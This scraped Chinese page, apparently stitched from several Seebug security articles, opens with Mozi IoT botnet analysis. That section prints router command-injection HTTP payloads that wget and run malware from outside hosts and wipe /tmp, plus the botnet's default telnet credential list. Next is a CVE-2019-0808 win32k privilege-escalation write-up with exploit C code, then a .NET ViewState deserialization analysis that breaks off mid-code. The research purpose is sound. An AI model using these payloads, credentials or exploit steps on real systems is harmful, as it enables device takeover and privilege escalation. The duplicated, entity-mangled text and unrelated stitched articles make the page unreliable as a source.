添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
成熟的番茄  ·  Module Files Tutorial ...·  5 月前    · 
精明的伤痕  ·  高柳家_哔哩哔哩_bilibili·  7 月前    · 
腹黑的足球  ·  BETWEEN start_time ...·  7 月前    · 
强健的豌豆  ·  snd_pcm_mmap_writei与sn ...·  7 月前    · 
安静的火腿肠  ·  SQLite3: ...·  1 年前    · 
cd + / tmp ; rm + rf + * ; wget + http : //27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/ setup . cgi ? next_file = netgear . cfg & amp ; todo = syscmd & amp ; cmd = rm + rf + / tmp / * ; wget + http : //192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
1
2
3
4
5
6
7
8
9
POST / GponForm / diag_Form ? images / HTTP / 1.1
Host : 127.0.0.1 : 80
Connection : keep - alive
Accept - Encoding : gzip , deflate
Accept : * / *
User - Agent : Hello , World
Content - Length : 118
XWebPageName = diag & amp ; diag_action = ping & amp ; wan_conlist = 0 & amp ; dest_host = ` ` ; wget + http : //%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
1
2
3
4
5
6
7
8
9
POST / picsdesc . xml HTTP / 1.1
Content - Length : 630
Accept - Encoding : gzip , deflate
SOAPAction : urn : schemas - upnp - org : service : WANIPConnection : 1 #AddPortMapping
Accept : /
User - Agent : Hello - World
Connection : keep - alive
& lt ; ? xml version = "1.0" ? > & lt ; s : Envelope xmlns : s = "http://schemas.xmlsoap.org/soap/envelope//" s : encodingStyle = "http://schemas.xmlsoap.org/soap/encoding/" > & lt ; s : Body > & lt ; u : AddPortMapping xmlns : u = "urn:schemas-upnp-org:service:WANIPConnection:1" > & lt ; NewRemoteHost > & lt ; / NewRemoteHost > & lt ; NewExternalPort > 47450 & lt ; / NewExternalPort > & lt ; NewProtocol > TCP & lt ; / NewProtocol > & lt ; NewInternalPort > 44382 & lt ; / NewInternalPort > & lt ; NewInternalClient > cd / var / ; wget http : //%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Host: %s:80 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
1
2
3
4
5
6
7
POST / HNAP1 / HTTP / 1.0
Host : % s : 80
Content - Type : text / xml ; charset = "utf-8"
SOAPAction : http : //purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content - Length : 640
& lt ; ? xml version = "1.0" encoding = "utf-8" ? > & lt ; soap : Envelope xmlns : xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns : xsd = "http://www.w3.org/2001/XMLSchema" xmlns : soap = "http://schemas.xmlsoap.org/soap/envelope/" > & lt ; soap : Body > & lt ; AddPortMapping xmlns = "http://purenetworks.com/HNAP1/" > & lt ; PortMappingDescription > foobar & lt ; / PortMappingDescription > & lt ; InternalClient > 192.168.0.100 & lt ; / InternalClient > & lt ; PortMappingProtocol > TCP & lt ; / PortMappingProtocol > & lt ; ExternalPort > 1234 & lt ; / ExternalPort > & lt ; InternalPort > 1234 & lt ; / InternalPort > & lt ; / AddPortMapping > & lt ; / soap : Body > & lt ; / soap : Envelope >
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 User-Agent: Hello, world Host: %s:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive
1
2
3
4
5
GET / shell ? cd + / tmp ; rm + - rf + * ; wget + http : //%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User - Agent : Hello , world
Host : % s : 80
Accept : text / html , application / xhtml + xml , application / xml ; q = 0.9 , image / webp , * / * ; q = 0.8
Connection : keep - alive
Host: 127.0.0.1:7574 User-Agent: Hello, world SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 640 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
1
2
3
4
5
6
7
8
POST / UD / act ? 1 HTTP / 1.1
Host : 127.0.0.1 : 7574
User - Agent : Hello , world
SOAPAction : urn : dslforum - org : service : Time : 1 #SetNTPServers
Content - Type : text / xml
Content - Length : 640
& lt ; ? xml version = "1.0" ? > & lt ; SOAP - ENV : Envelope xmlns : SOAP - ENV = "http://schemas.xmlsoap.org/soap/envelope/" SOAP - ENV : encodingStyle = "http://schemas.xmlsoap.org/soap/encoding/" > & lt ; SOAP - ENV : Body > & lt ; u : SetNTPServers xmlns : u = " urn : dslforum - org : service : Time : 1 & amp ; qu ot ; > & lt ; NewNTPServer1 > ` cd / tmp & amp ; & amp ; rm - rf * & amp ; & amp ; / bin / busybox wget http : //%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: */* User-Agent: Hello, World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
1
2
3
4
5
6
7
8
9
10
POST / soap . cgi ? service = WANIPConn1 HTTP / 1.1
Host : % s : 49152
Content - Length : 630
Accept - Encoding : gzip , deflate
SOAPAction : urn : schemas - upnp - org : service : WANIPConnection : 1 #AddPortMapping
Accept : * / *
User - Agent : Hello , World
Connection : keep - alive
& lt ; ? xml version = "1.0" ? > & lt ; s : Envelope xmlns : s = "http://schemas.xmlsoap.org/soap/envelope/" s : encodingStyle = "http://schemas.xmlsoap.org/soap/encoding/" > & lt ; SOAP - ENV : Body > & lt ; m : AddPortMapping xmlns : m = "urn:schemas-upnp-org:service:WANIPConnection:1" > & lt ; NewPortMappingDescription > & lt ; NewPortMappingDescription > & lt ; NewLeaseDuration > & lt ; / NewLeaseDuration > & lt ; NewInternalClient > ` cd / tmp ; rm - rf * ; wget http : //%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
Username Password
admin 00000000
telnetadmin 1111
!!Huawei 1111111
admin 1234
root 12345
root 123456
keomeo 2010vesta
support 2011vesta
CMCCAdmin 25802580
e8telnet 54321
e8ehome1 666666
e8ehome 7ujMko0admin
user 7ujMko0vizxv
mother 888888
root 88888888
Administrator @HuaweiHgw
service BrAhMoS@15
supervisor CMCCAdmin
guest CUAdmin
admin1 Fireitup
administrator GM8182
ubnt PhrQjGzk
tech Pon521
admin Zte521
admin admin
telnet admin1234
adminHW
adminpass
anko
cat1029
chzhdpl
conexant
default
dreambox
e2008jl
e8ehome
e8ehome1
e8telnet
epicrouter
fucker
gpon
guest
gw1admin
h@32LuyD
hg2x0
hi3518
ikwb
juantech
jvbzd
keomeo
klv123
klv1234
meinsm
pass
password
plumeria0077
r@p8p0r+
realtek
root
service
smcadmin
supervisor
support
system
tech
telnet
telnetadmin
ubnt
user
v2mprt
vizxv
xJ4pCYeW
xc3511
xmhdipc
zlxx
zte

SHA256

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1347/

作者:江 | Categories: 技术分享 漏洞分析 | Tags:

CVE-2019-0808 从空指针解引用到权限提升

2020-11-03

作者:Kerne7@知道创宇404实验室
时间:2020年9月28日

选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。

首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。

pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A); pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); HMENU hMenuRoot = CreatePopupMenu(); HMENU hMenuSub = CreatePopupMenu(); MENUINFO mi = { 0 }; mi.cbSize = sizeof(MENUINFO); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP; SetMenuInfo(hMenuRoot, &mi); SetMenuInfo(hMenuSub, &mi); AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root"); AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
1
2
3
4
5
6
7
8
9
10
HMENU hMenuRoot = CreatePopupMenu ( ) ;
HMENU hMenuSub = CreatePopupMenu ( ) ;
MENUINFO mi = { 0 } ;
mi . cbSize = sizeof ( MENUINFO ) ;
mi . fMask = MIM_STYLE ;
mi . dwStyle = MNS_MODELESS | MNS_DRAGDROP ;
SetMenuInfo ( hMenuRoot , & amp ; mi ) ;
SetMenuInfo ( hMenuSub , & amp ; mi ) ;
AppendMenuA ( hMenuRoot , MF_BYPOSITION | MF_POPUP , ( UINT_PTR ) hMenuSub , "Root" ) ;
AppendMenuA ( hMenuSub , MF_BYPOSITION | MF_POPUP , 0 , "Sub" ) ;
WNDCLASSEXA wndClass = { 0 }; wndClass.cbSize = sizeof(WNDCLASSEXA); wndClass.lpfnWndProc = DefWindowProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInst; wndClass.lpszMenuName = 0; wndClass.lpszClassName = "WNDCLASSMAIN"; RegisterClassExA(&wndClass); hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
1
2
3
4
5
6
7
8
9
10
WNDCLASSEXA wndClass = { 0 } ;
wndClass . cbSize = sizeof ( WNDCLASSEXA ) ;
wndClass . lpfnWndProc = DefWindowProc ;
wndClass . cbClsExtra = 0 ;
wndClass . cbWndExtra = 0 ;
wndClass . hInstance = hInst ;
wndClass . lpszMenuName = 0 ;
wndClass . lpszClassName = "WNDCLASSMAIN" ;
RegisterClassExA ( & amp ; wndClass ) ;
hWndMain = CreateWindowA ( "WNDCLASSMAIN" , "CVE" , WS_DISABLED , 0 , 0 , 1 , 1 , nullptr , nullptr , hInst , nullptr ) ;

接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
TrackPopupMenuEx ( hMenuRoot , 0 , 0 , 0 , hWndMain , NULL ) ;
MSG msg = { 0 } ;
while ( GetMessageW ( & amp ; msg , NULL , 0 , 0 ) )
{
TranslateMessage ( & amp ; msg ) ;
DispatchMessageW ( & amp ; msg ) ;
if ( iMenuCreated & gt ; = 1 ) {
bOnDraging = TRUE ;
pfnNtUserMNDragOver ( & amp ; pt , buf ) ;
break ;
}
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam) tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (!bOnDraging) { return CallNextHookEx(0, code, wParam, lParam); if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){ bIsDefWndProc = FALSE; printf("[*] HWND: %p \n", cwp->hwnd); SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc); return CallNextHookEx(0, code, wParam, lParam);
1
2
3
4
5
6
7
8
9
10
11
12
13
LRESULT CALLBACK WindowHookProc ( INT code , WPARAM wParam , LPARAM lParam )
{
tagCWPSTRUCT * cwp = ( tagCWPSTRUCT * ) lParam ;
if ( ! bOnDraging ) {
return CallNextHookEx ( 0 , code , wParam , lParam ) ;
}
if ( ( cwp - & gt ; message == WM_MN_FINDMENUWINDOWFROMPOINT ) ) {
bIsDefWndProc = FALSE ;
printf ( "[*] HWND: %p \n" , cwp - & gt ; hwnd ) ;
SetWindowLongPtr ( cwp - & gt ; hwnd , GWLP_WNDPROC , ( ULONG64 ) SubMenuProc ) ;
}
return CallNextHookEx ( 0 , code , wParam , lParam ) ;
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime) switch (iMenuCreated) case 0: SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); break; case 1: SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); break; printf("[*] MSG\n"); iMenuCreated++;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
VOID CALLBACK DisplayEventProc ( HWINEVENTHOOK hWinEventHook , DWORD event , HWND hwnd , LONG idObject , LONG idChild , DWORD idEventThread , DWORD dwmsEventTime )
{
switch ( iMenuCreated )
{
case 0 :
SendMessageW ( hwnd , WM_LBUTTONDOWN , 0 , 0x00050005 ) ;
break ;
case 1 :
SendMessageW ( hwnd , WM_MOUSEMOVE , 0 , 0x00060006 ) ;
break ;
}
printf ( "[*] MSG\n" ) ;
iMenuCreated ++ ;
}
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc); return (ULONG)hWndFakeMenu; return DefWindowProc(hwnd, msg, wParam, lParam);
1
2
3
4
5
6
7
8
9
LRESULT WINAPI SubMenuProc ( HWND hwnd , UINT msg , WPARAM wParam , LPARAM lParam )
{
if ( msg == WM_MN_FINDMENUWINDOWFROMPOINT )
{
SetWindowLongPtr ( hwnd , GWLP_WNDPROC , ( ULONG ) DefWindowProc ) ;
return ( ULONG ) hWndFakeMenu ;
}
return DefWindowProc ( hwnd , msg , wParam , lParam ) ;
}

如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1351/

作者:江 | Categories: 安全研究 漏洞分析 | Tags:

.Net 反序列化之 ViewState 利用

2020-11-03

作者:HuanGMz@知道创宇404实验室
时间:2020年10月30日

.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。

加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。

.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。

初接触.NET,文中谬误纰漏之处在所难免,如蒙指教不胜感激。

1. 调试.Net FrameWork

1.1 .Net 源码

对于刚接触.Net反序列化,甚至刚接触C#的朋友来说,有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework 的底层调试。

.Net Framework 已经被微软 开源 了,你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括 .Net 4.5.1 到 4.8。但是要注意,虽然微软开源了.Net 的源码,以及相应的VS项目文件,但是只能用于代码浏览,而无法进行编译。因为缺少重要组件(包括xaml文件和资源文件)。

#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography // We only support serialization of encrypted or encoded data through our internal Page constructors if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) { // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested. else { // Otherwise go through legacy crypto mechanisms #pragma warning disable 618 // calling obsolete methods if (_page != null && _page.RequiresViewStateEncryptionInternal) { buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length); length = buffer.Length; // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) { buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length); #pragma warning restore 618 // calling obsolete methods #endif // !FEATURE_PAL result = Convert.ToBase64String(buffer, 0, length); finally { ReleaseMemoryStream(ms); return result;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private string Serialize ( object stateGraph , Purpose purpose ) {
string result = null ;
MemoryStream ms = GetMemoryStream ( ) ;
try {
Serialize ( ms , stateGraph ) ;
ms . SetLength ( ms . Position ) ;
byte [ ] buffer = ms . GetBuffer ( ) ;
int length = ( int ) ms . Length ;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
// We only support serialization of encrypted or encoded data through our internal Page constructors
if ( AspNetCryptoServiceProvider . Instance . IsDefaultProvider & amp ; & amp ; ! _forceLegacyCryptography ) {
// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
. . .
}
else {
// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
if ( _page != null & amp ; & amp ; _page . RequiresViewStateEncryptionInternal ) {
buffer = MachineKeySection . EncryptOrDecryptData ( true , buffer , GetMacKeyModifier ( ) , 0 , length ) ;
length = buffer . Length ;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ( ( _page != null & amp ; & amp ; _page . EnableViewStateMac ) || _macKeyBytes != null ) {
buffer = MachineKeySection . GetEncodedData ( buffer , GetMacKeyModifier ( ) , 0 , ref length ) ;
}
#pragma warning restore 618 // calling obsolete methods
}
#endif // !FEATURE_PAL
result = Convert . ToBase64String ( buffer , 0 , length ) ;
}
finally {
ReleaseMemoryStream ( ms ) ;
}
return result ;
}
if (_page != null && _page.RequiresViewStateEncryptionInternal) { buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length); length = buffer.Length; // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) { buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
1
2
3
4
5
6
7
8
if ( _page != null & amp ; & amp ; _page . RequiresViewStateEncryptionInternal ) {
buffer = MachineKeySection . EncryptOrDecryptData ( true , buffer , GetMacKeyModifier ( ) , 0 , length ) ;
length = buffer . Length ;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ( ( _page != null & amp ; & amp ; _page . EnableViewStateMac ) || _macKeyBytes != null ) {
buffer = MachineKeySection . GetEncodedData ( buffer , GetMacKeyModifier ( ) , 0 , ref length ) ;
}
internal bool RequiresViewStateEncryptionInternal { get { return ViewStateEncryptionMode == ViewStateEncryptionMode.Always || _viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto; get { return _enableViewStateMac; } set { // DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we // have an mechanism that forces this to keep its default value of 'true'. We only // allow actually setting the value if this enforcement mechanism is inactive. if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) { _enableViewStateMac = value;
1
2
3
4
5
6
7
8
9
10
11
public bool EnableViewStateMac {
get { return _enableViewStateMac ; }
set {
// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
// have an mechanism that forces this to keep its default value of 'true'. We only
// allow actually setting the value if this enforcement mechanism is inactive.
if ( ! EnableViewStateMacRegistryHelper . EnforceViewStateMac ) {
_enableViewStateMac = value ;
}
}
}
_page = this; // Set the page to ourselves _enableViewStateMac = EnableViewStateMacDefault; // Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled, // meaning that we always enforce EnableViewStateMac=true. Returns 'false' if // the patch hasn't been activated on this machine. public static readonly bool EnforceViewStateMac; static EnableViewStateMacRegistryHelper() { // If the reg key is applied, change the default values. bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry(); if (regKeyIsActive) { EnforceViewStateMac = true; SuppressMacValidationErrorsFromCrossPagePostbacks = true; // Override the defaults with what the developer specified. if (AppSettings.AllowInsecureDeserialization.HasValue) { EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value; // Exception: MAC errors from cross-page postbacks should be suppressed // if either the <appSettings> switch is set or the reg key is set. SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static EnableViewStateMacRegistryHelper ( ) {
// If the reg key is applied, change the default values.
bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry ( ) ;
if ( regKeyIsActive ) {
EnforceViewStateMac = true ;
SuppressMacValidationErrorsFromCrossPagePostbacks = true ;
}
// Override the defaults with what the developer specified.
if ( AppSettings . AllowInsecureDeserialization . HasValue ) {
EnforceViewStateMac = ! AppSettings . AllowInsecureDeserialization . Value ;
// Exception: MAC errors from cross-page postbacks should be suppressed
// if either the <appSettings> switch is set or the reg key is set.
SuppressMacValidationErrorsFromCrossPagePostbacks |= ! AppSettings . AllowInsecureDeserialization . Value ;
}
. . .
private static bool IsMacEnforcementEnabledViaRegistry() { try { string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3)); int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */); return (rawValue != 0); catch { // If we cannot read the registry for any reason, fail safe and assume enforcement is enabled. return true;
1
2
3
4
5
6
7
8
9
10
11
private static bool IsMacEnforcementEnabledViaRegistry ( ) {
try {
string keyName = String . Format ( CultureInfo . InvariantCulture , @ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}" , Environment . Version . ToString ( 3 ) ) ;
int rawValue = ( int ) Registry . GetValue ( keyName , "AspNetEnforceViewStateMac" , defaultValue : 0 /* disabled by default */ ) ;
return ( rawValue != 0 ) ;
}
catch {
// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
return true ;
}
}
<appSettings> <add key="aspnet:AllowInsecureDeserialization" value="true" /> </appSettings> </configuration> private object Deserialize(string inputString, Purpose purpose) { if (String.IsNullOrEmpty(inputString)) { throw new ArgumentNullException("inputString"); byte[] inputBytes = Convert.FromBase64String(inputString); int length = inputBytes.Length; #if !FEATURE_PAL // FEATURE_PAL does not enable cryptography try { if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) { // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested. else { // Otherwise go through legacy crypto mechanisms #pragma warning disable 618 // calling obsolete methods if (_page != null && _page.ContainsEncryptedViewState) { inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length); length = inputBytes.Length; // We need to decode if the page has EnableViewStateMac or we got passed in some mac key string else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) { inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length); #pragma warning restore 618 // calling obsolete methods catch { // MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information. PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL); ViewStateException.ThrowMacValidationError(null, inputString); #endif // !FEATURE_PAL object result = null; MemoryStream objectStream = GetMemoryStream(); try { objectStream.Write(inputBytes, 0, length); objectStream.Position = 0; result = Deserialize(objectStream); finally { ReleaseMemoryStream(objectStream); return result;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private object Deserialize ( string inputString , Purpose purpose ) {
if ( String . IsNullOrEmpty ( inputString ) ) {
throw new ArgumentNullException ( "inputString" ) ;
}
byte [ ] inputBytes = Convert . FromBase64String ( inputString ) ;
int length = inputBytes . Length ;
#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
try {
